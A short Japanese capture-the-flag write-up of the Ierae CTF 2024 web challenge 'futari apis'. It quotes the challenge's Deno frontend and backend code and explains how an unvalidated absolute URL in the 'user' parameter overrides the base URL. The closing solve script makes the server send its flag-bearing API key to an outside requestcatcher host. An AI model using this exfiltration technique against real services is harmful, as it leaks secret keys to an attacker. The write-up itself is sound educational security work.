はじめに
Ierae CTF 2024に少しだけ参加しました。
簡単な問題を何問か解きましたが、writeupはwebに限定したいと思います。
futari apis
HTTP APIを提供するWebサーバが与えられました。
ソースコードを見てみます。
以下はフロントエンド側のソースコードです。
const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}";
const USER_SEARCH_API: string = Deno.env.get("USER_SEARCH_API") ||
"http://user-search:3000";
const PORT: number = parseInt(Deno.env.get("PORT") || "3000");
async function searchUser(user: string, userSearchAPI: string) {
const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
return await fetch(uri);
}
async function handler(req: Request): Promise<Response> {
const url = new URL(req.url);
switch (url.pathname) {
case "/search": {
const user = url.searchParams.get("user") || "";
return await searchUser(user, USER_SEARCH_API);
}
default:
return new Response("Not found.");
}
}
Deno.serve({ port: PORT, handler });
そして以下がバックエンドのソースコードです。
type User = {
name: string;
};
const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}";
const PORT: number = parseInt(Deno.env.get("PORT") || "3000");
const users = new Map<string, User>();
users.set("peroro", { name: "Peroro sama" });
users.set("wavecat", { name: "Wave Cat" });
users.set("nicholai", { name: "Mr.Nicholai" });
users.set("bigbrother", { name: "Big Brother" });
users.set("pinkypaca", { name: "Pinky Paca" });
users.set("adelie", { name: "Angry Adelie" });
users.set("skullman", { name: "Skullman" });
function search(id: string) {
const user = users.get(id);
return user;
}
function handler(req: Request): Response {
// API format is /:id
const url = new URL(req.url);
const id = url.pathname.slice(1);
const apiKey = url.searchParams.get("apiKey") || "";
if (apiKey !== FLAG) {
return new Response("Invalid API Key.");
}
const user = search(id);
if (!user) {
return new Response("User not found.");
}
return new Response(`User ${user.name} found.`);
}
Deno.serve({ port: PORT, handler });
http://{redacted}:3000/search?user=peroro
のように/searchパスにuserパラメータをセットしAPIを叩けます。
すると、フロントエンド側ではuserパラメータの値を受け取り、バックエンドのサーバに対してユーザ検索をするURLを生成し、送信します。
この時にAPIキーをURLに付与しますが、APIキーが今回のフラグです。
実際のURL組み立て処理は以下の通りです。
const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
userには特にバリデーションは施されていません。
ここで私はあることを思いつきました。
URLの第2引数にベースURLが指定されているが、userにユーザ名ではなくURLを丸ごと指定したらどうなるのだろうと。
試しにuserにhttps://example.com/
を指定してみました。
すると、example.comの内容が返ってきました。
どうやら第1引数に既に完成したURLがある場合は第2引数のベースURLは無視されるようです。
URLクラスのドキュメントを見てみると、コンストラクタの第1引数の説明で同じようなことが書かれていました。
絶対または相対 URL を表す文字列または文字列化のあるその他のオブジェクト、例えば <a> や <area> 要素です。 url が相対 URL である場合、base は必須であり、ベース URL として使用されます。 url が絶対 URL である場合、指定された base は無視されます。
これを利用し、任意のサイトにAPIキーを含んだリクエストを送信させることができます。
以下にsolveコードを示します。
これを実行するとrequestcatcherにAPIキーを含んだリクエストが来ます。
(async () => {
const baseUrl = "http://34.81.219.110:3000/";
const requestcatcher = "https://sota70.requestcatcher.com/flag";
await fetch(baseUrl + `search?user=${requestcatcher}`);
})();
おわりに
他のイベントにも参加していたので、今回は少ししか大会に参加できませんでした。
挑戦できなかったWeb問題は他の方のwriteupを見ながら解きたいと思います。